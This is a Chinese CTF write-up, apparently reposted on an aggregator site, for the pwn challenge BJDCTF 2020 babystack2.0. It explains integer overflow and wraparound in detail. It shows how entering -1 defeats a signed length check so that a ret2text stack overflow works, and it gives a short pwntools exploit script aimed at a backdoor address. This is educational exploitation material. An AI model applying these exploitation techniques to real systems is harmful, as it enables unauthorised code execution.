【PWN · IntegerOverflow ret2text】[BJDCTF 2020]babystack2.0

news2024/11/25 20:25:59

第一次遇见整数溢出的题目,值得记录一下(虽然这里的整数溢出很简单

目录

前言

一、整数溢出

二、解题思路

1.ELF/checksec查看保护

2.IDA反汇编

3.整数溢出 

4.exp编写

总结


前言

整数溢出漏洞——对于有/无符号数,长/短位宽转换时机器码的变换策略所指。


一、整数溢出

整数溢出

如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险。通常情况下,整数溢出并没有改写额外的内存,不会直接导致任意代码执行,但是它会导致栈溢出堆溢出,而后两者都会导致任意代码执行。由于整数溢出发生之后,很难被立即察觉,比较难用一个有效的方法去判断是否出现或者可能出现整数溢出。

整数的计算

计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。

数据类型字节数(16位)字节数(32位)字节数(64位)取值范围(32位)(10进制)取值范围(32位)(16进制)
byte111-128 ~ 1270x00 ~ 0xFF
char111-128 ~ 1270x00 ~ 0xFF
int244-2,147,483,648 ~ 2,147,483,6470xFFFFFFFF ~ 0x80000000(-0)
0x00000000(+0) ~ 0x7FFFFFFF
unsigned int2440 ~ 4,294,967,2950x00000000 ~ 0xFFFFFFFF
float4483.4E +/- 38(7 digits)
double8881.7E +/- 308(15 digits)

异常情况

关于整数的异常情况主要有三种:

  1. 溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。溢出标志OF可检测有符号数的溢出;
  2. 回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。进位标志CF可检测无符号数的回绕;
  3. 截断,将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断

或者说计算机中有4种溢出情况,以32位整数为例。

  • 无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。
  • 无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。
  • 有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。
  • 无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。

整数溢出漏洞利用

整数溢出要配合其他类型的缺陷才能有用,不像栈溢出等内存破坏可以直接通过覆盖内存进行利用,常常需要进行一定转换才能溢出。常见的转换方式有两种。

  1. 整数溢出转换成缓冲区溢出
    整数溢出可以将一个很小的数突变成很大的数。比如,无符号下溢可以将一个表示缓冲区大小的较小的数通过减法变成一个超大的整数,导致缓冲区溢出。
    另一种情况是通过输入负数的办法来绕过一些长度检查,如一些程序会使用有符号数字表示长度,那么就可以使用负数来绕过长度上限检查。而大多数系统API使用无符号数来表示长度,此时负数就会变成超大的正数导致溢出。
  2. 整数溢出转数组越界
    在C语言中,数组索引的操作只是简单地将数组指针加上索引来实现,并不会检查边界。因此,很大的索引会访问到数组后的数据,如果索引是负数,那么还会访问到数组之前的内存。
    在数组索引的过程中,数组索引还要乘以数组元素的长度来计算元素的实际地址。以int类型数组为例,数组索引需要乘以4来计算偏移。假如通过传入负数来绕过边界检查,那么正常情况下只能访问数组之前的内存。但由于索引会被乘以 4,那么依然可以索引数组后的数据甚至整个内存空间。例如,想要索引数组后0x1000字节处的内容,只需要传入负数-2147482624,该值用十六进制数表示为0x80000400,再乘以元素长度4后,由于无符号整数上溢结果,即为0x00001000。可以看到,与整数溢出转缓冲区溢出相比,数组越界更容易利用。

整数溢出https://www.cnblogs.com/darkcyan/p/16306448.html

二、解题思路

1.ELF/checksec查看保护

2.IDA反汇编

阅读后大意:输入数字,如果大于10,退出;否则读取数据——read存在栈溢出漏洞 

问题就是read的输入长度需要“小于10”才可以执行——明面上是这样的。 

3.整数溢出 

这里对nbytes做出了限制,有没有一种可能,nbytes<10且足够长呢?整数溢出

这里关注到nbytes的类型是无符号整型,并且在比较代码,贴心地进行了(int)强制类型转换为有符号数——存在整数溢出。

我们可以输入-1——机器码对应的无符号数非常大,然而被转换成有符号数时,足够小 这样是不是就满足我们上面的要求了呢?

在这之后就是最最基本的ret2text了!【PWN · ret2text】——[CTFHub]ret2text_ctfhub ret2text_Mr_Fmnwon的博客-CSDN博客

4.exp编写

确定了基本的模式——

首先输入-1(或其他负数/大正数,-1简单),然后开始ret2text

from pwn import *
context(os="linux",arch="amd64",log_level="debug")
io=remote(...)
backdoor=0x400726
io.sendlineafter("length of your name:","-1")
payload=b'a'*0x18+p64(backdoor)
io.sendlineafter("name?",payload)
io.interactive()

总结

整数溢出一般与其他堆栈溢出相结合,然而其中的内容其实远不止这些,还需要深层次刷题,进一步掌握了解整数溢出。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/574313.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

什么是 Spring Boot Actuator?如何在 Spring Boot 中使用 Actuator?

当我们在开发和部署应用程序时&#xff0c;监控应用程序的健康状况和性能是非常重要的。Spring Boot Actuator 为我们提供了一组现成的端点&#xff08;endpoints&#xff09;&#xff0c;可以让我们方便地监控和管理应用程序。在本文中&#xff0c;我们将了解 Spring Boot Act…

Spark+Kafka构建实时分析Dashboard

SparkKafka构建实时分析Dashboard 说明一、案例介绍二、实验环境准备1、实验系统和软件要求2、系统和软件的安装&#xff08;1&#xff09;安装Spark&#xff08;2&#xff09;安装Kafka&#xff08;3&#xff09;安装Python&#xff08;4&#xff09;安装Python依赖库&#xf…

数据仓库hive本地/远程模式安装

文章目录 1.简述2.本地模式2.1安装包准备2.2解压安装mysql2.2.1 解压mysql安装包2.2.2 安装mysql相关组件2.2.3 修改my.cnf配置文件2.2.4 更改所属组2.2.5 启动mysql服务 2.3 hive解压安装及配置2.3.1 解压2.3.2 改名2.3.3 配置环境变量2.3.4 添加hive-site.xml配置文件2.3.5 放…

《Spring Guides系列学习》guide6 - guide10

要想全面快速学习Spring的内容&#xff0c;最好的方法肯定是先去Spring官网去查阅文档&#xff0c;在Spring官网中找到了适合新手了解的官网Guides&#xff0c;一共68篇&#xff0c;打算全部过一遍&#xff0c;能尽量全面的了解Spring框架的每个特性和功能。 接着上篇看过的gu…

VIBRO METER 带缓冲输出的机械监控系统接口套件

高质量、高可靠性的接口套件&#xff0c;用于现有机械监控系统的缓冲“原始”传感器输出信号。该接口套件支持多达25个通道&#xff0c;可以是动态或转速计(速度)信号。接口套件采用DIN导轨安装&#xff0c;通常安装在装有VM600或VibroSmart机械监控系统的外壳中。 特征 支持…

为 Kotlin 的函数添加作用域限制(以 Compose 为例)

前言 不知道各位是否已经开始了解 Jetpack Compose&#xff1f; 如果已经开始了解并且上手写过。那么&#xff0c;不知道你们有没有发现&#xff0c;在 Compose 中对于作用域&#xff08;Scopes&#xff09;的应用特别多。比如&#xff0c; weight 修饰符只能用在 RowScope 或…

docker快速部署hue+hue集成hive

首先需要安装hive&#xff0c;hive的安装在HIVE的安装与配置_EEEurekaaa&#xff01;的博客-CSDN博客 安装完成之后&#xff0c;使用脚本命令启动hdfs和hive的相关服务。 一、安装docker # 安装yum-config-manager配置工具 $ yum -y install yum-utils # 设置yum源 $ yum-co…

《俞军产品方法论》- 站在更高的角度来拓展产品经理的内涵和边界

关于作者 俞军&#xff0c;互联网产品大神级人物。他是早年百度唯一的产品经理&#xff0c;主持了百度搜索这款产品的无数次进化&#xff0c;并主持设计了百度贴吧、百度 知道等世界级创新产品&#xff0c;后来又成为滴滴出行的产品负责人。他的 “ 俞军产品经理十二条 ” &a…

TexSAW|2023|Cryptography&Misc|WP

Cryptography&#xff5c;Crack the crime 用 nc 连上后&#xff0c;直接得到第一题 是一个简单的base64加密&#xff0c;解密如下&#xff1a; Meet in dubai on Tuesday 填入之后可获得第二题 猜测是古典加密&#xff0c;随后经过N次尝试后发现是rot13加密&#xff0c;解密…

蓝牙耳机怎么选?蓝牙耳机哪些性价比高?2023年蓝牙耳机推荐,蓝牙耳机品牌排行榜,蓝牙耳机最全选购指南

蓝牙耳机怎么选&#xff1f;蓝牙耳机哪些性价比高&#xff1f;2023年蓝牙耳机推荐&#xff0c;蓝牙耳机品牌排行榜&#xff0c;蓝牙耳机最全选购指南 观前提醒&#xff0c;本文中你将会了解到&#xff1a; &#xff5c;蓝牙耳机抄作业环节 &#xff5c;蓝牙耳机基础知识 &a…

快速上手kettle

一、前言 最近由于工作需要&#xff0c;需要用到kettle工具进行数据迁移转换。特意找资料学习了一下&#xff0c;kettle基本操作算是学会了。 所学的也结合实际工作进行了验证。为了防止以后用到忘记了&#xff0c;便写了几篇文章记录一下。 二 、ETL简介 ETL ( Extract-Tran…

synchronized 关键字和 volatile 关键字有什么区别?

synchronized 关键字和 volatile 关键字有什么区别&#xff1f; 在 Java 中&#xff0c;synchronized 关键字和 volatile 关键字都可以用来实现线程安全&#xff0c;但是它们有不同的用途和实现方式。本文将介绍 synchronized 关键字和 volatile 关键字的区别&#xff0c;包括…

二肽二氨基丁酰苄基酰胺二乙酸盐/Dipeptide Diaminobutyroyl Benzylamide Diacetate/SYN-AKE

作用机理----二肽二氨基丁酰苄基酰胺二乙酸盐 类蛇毒三肽通过松弛面部肌肉而作为有效的平滑和祛皱活性产品, 该活性三肽作用方式与 Temple Viper 毒蛇毒液的神经肌肉阻断化合物Waglerin 1 一致。类蛇毒三肽作用于突触后膜, 是肌肉烟碱乙酰胆碱受体(nmAChR)可逆转的拮抗剂。类蛇…

docker安装单机nacos、rocketmq、reids、xxl-job、minio、elasticsearch、kibana

启动容器报错 直接删除那个name后边的就可以 安装nacos 首先需要拉取对应的镜像文件&#xff1a;docker pull nacos/nacos-server 挂载目录&#xff1a; mkdir -p /mydata/nacos/logs/ #新建logs目录mkdir -p /mydata/nacos/init.d/ vim /myda…

使用 Kotlin 的 Opt-in (选择加入)功能注解API提示当前非稳定API

前言 之前在给公司项目封装库的时候&#xff0c;领导告诉我封装的漂亮一点&#xff0c;等以后公司发展起来了可能需要把这个库提供给第三方接入使用。 此时&#xff0c;就有这么一个问题&#xff1a;某些功能函数使用条件比较苛刻&#xff0c;直接使用可能会出现意想不到的后…

Mock.js 的语法规范学习

Mock.js 有一套完整的语法规范,可以好好学学。 Mock.js 的语法规范包括两部分&#xff1a; 数据模板定义规范&#xff08;Data Template Definition&#xff0c;DTD&#xff09; 数据占位符定义规范&#xff08;Data Placeholder Definition&#xff0c;DPD&#xff09; 数…

【mediasoup】12: ChannelRequest控制指令

rust 是把worker 当做lib 调用的。node是当做一个进程每一个ChannelRequest 就是一个外部发给worker的控制指令worker要负责处理。控制指令的处理实际是worker做的,worker可能立即执行,可能交给对应的handler去处理 worker根据指令id 来处理 处理完毕后才发消息ack 给控制侧 …

# Spring Boot 中如何使用 Spring Cloud Sleuth 来实现分布式跟踪?

Spring Boot 中如何使用 Spring Cloud Sleuth 来实现分布式跟踪&#xff1f; 在微服务架构中&#xff0c;通常会有多个服务相互协作&#xff0c;为了方便排查问题&#xff0c;我们需要对服务之间的调用进行跟踪。Spring Cloud Sleuth 是 Spring Cloud 生态中的分布式跟踪解决方…

charles使用

charles​ 一、概念​ charles是一款非常优秀的抓包工具&#xff0c;全平台支持&#xff0c;在mac&#xff0c;windows&#xff0c;linux上都可以使用&#xff0c;既可以抓 取web端的包&#xff0c;也可以抓app端的包。 ​ charles主要的功能包括如下几点&#xff1a; ​ 截取…

Linux网络服务:SSH远程访问及控制2

目录 一、理论 1.构建密钥对验证的SSH体系 2.TCP Wrappers访问控制 二、实验 1.ecdsa免密连接 2.rsa免密连接 一、理论 1.构建密钥对验证的SSH体系 &#xff08;1&#xff09;免密连接原理 ① 手动添加客户端的公钥到服务端 ② 服务端收到客户端的公钥后使用客户端公钥…